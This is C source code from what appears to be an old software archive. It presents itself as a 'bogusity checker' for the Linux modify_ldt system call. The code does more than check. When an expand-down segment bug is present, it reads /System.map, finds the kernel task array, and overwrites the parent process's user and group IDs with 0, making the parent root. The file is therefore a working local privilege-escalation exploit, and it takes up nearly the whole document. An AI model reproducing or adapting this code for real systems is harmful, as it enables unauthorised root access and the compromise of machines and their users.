home *** CD-ROM | disk | FTP | other *** search
- /* Needs /System.map to be 644 */
-
- #include <linux/ldt.h>
- #include <stdio.h>
- #include <linux/unistd.h>
- #include <signal.h>
- /*#include <asm/sigcontext.h>*/
- #define __KERNEL__
- #include <linux/sched.h>
- _syscall3(int, modify_ldt, int, func, void *, ptr, unsigned long, bytecount)
-
- #define KERNEL_BASE 0xc0000000
- /* ------------------------------------------------------------------------ */
- static __inline__ unsigned char
- __farpeek (int seg, unsigned ofs)
- {
- unsigned char res;
- asm ("mov %w1,%%gs ; gs; movb (%2),%%al"
- : "=a" (res)
- : "r" (seg), "r" (ofs));
- return res;
- }
- /* ------------------------------------------------------------------------ */
- static __inline__ void
- __farpoke (int seg, unsigned ofs, unsigned char b)
- {
- asm ("mov %w0,%%gs ; gs; movb %b2,(%1)"
- : /* No results. */
- : "r" (seg), "r" (ofs), "r" (b));
- }
- /* ------------------------------------------------------------------------ */
- void
- memgetseg (void *dst, int seg, const void *src, int size)
- {
- while (size-- > 0)
- *(char *)dst++ = __farpeek (seg, (unsigned)(src++));
- }
- /* ------------------------------------------------------------------------ */
- void
- memputseg (int seg, void *dst, const void *src, int size)
- {
- while (size-- > 0)
- __farpoke (seg, (unsigned)(dst++), *(char *)src++);
- }
- /* ------------------------------------------------------------------------ */
- int
- main ()
- {
- int stat, i;
- struct modify_ldt_ldt_s ldt_entry;
- FILE *syms;
- char line[100];
- struct task_struct **task, *taskptr, thistask;
- pid_t ppid;
-
- printf ("Bogusity checker for modify_ldt system call.\n");
-
- printf ("Testing for page-size limit bug...\n");
- ldt_entry.entry_number = 0;
- ldt_entry.base_addr = 0xbfffffff;
- ldt_entry.limit = 0;
- ldt_entry.seg_32bit = 1;
- ldt_entry.contents = MODIFY_LDT_CONTENTS_DATA;
- ldt_entry.read_exec_only = 0;
- ldt_entry.limit_in_pages = 1;
- ldt_entry.seg_not_present = 0;
- stat = modify_ldt (1, &ldt_entry, sizeof (ldt_entry));
- if (stat)
- /* Continue after reporting error. */
- printf ("This bug has been fixed in your kernel.\n");
- else
- {
- printf ("Shit happens: ");
- printf ("0xc0000000 - 0xc0000ffe is accessible.\n");
- }
-
- printf ("Testing for expand-down limit bug...\n");
- ldt_entry.base_addr = 0x00000000;
- ldt_entry.limit = 1;
- ldt_entry.contents = MODIFY_LDT_CONTENTS_STACK;
- ldt_entry.limit_in_pages = 0;
- stat = modify_ldt (1, &ldt_entry, sizeof (ldt_entry));
- if (stat)
- {
- printf ("This bug has been fixed in your kernel.\n");
- return 1;
- }
- else
- {
- printf ("Shit happens: ");
- printf ("0x00000000 - 0xfffffffd is accessible.\n");
- }
-
- syms = fopen ("/System.map", "r");
- if (!syms)
- {
- printf ("Couldn't open `/System.map' for reading.\n");
- return 1;
- }
- while (1)
- {
- line[0] = 0;
- fgets (line, sizeof (line) - 1, syms);
- if (strlen (line) < 10)
- {
- printf ("Couldn't find the _task array symbol.\n");
- fclose (syms);
- return 1;
- }
- if (strcmp (line + 9, "D _task\n") == 0) break;
- }
- fclose (syms);
-
- task = (struct task_struct **) (KERNEL_BASE + strtol (line, 0, 16));
- ppid = getppid ();
-
- for (i = 0; i < NR_TASKS; i++)
- {
- memgetseg (&taskptr, 7, &task[i], sizeof (taskptr));
- if (taskptr)
- {
- (char *)taskptr += KERNEL_BASE;
- memgetseg (&thistask, 7, taskptr, sizeof (thistask));
- if (thistask.pid == ppid)
- {
- thistask.uid = thistask.euid = 0;
- thistask.gid = thistask.egid = 0;
- memputseg (7, taskptr, &thistask, sizeof (thistask));
- printf ("Shit happens: parent process is now root process.\n");
- return 0;
- }
- }
- }
-
- printf ("Strange things happens -- no parent process found.\n");
- return 1;
- };
-
-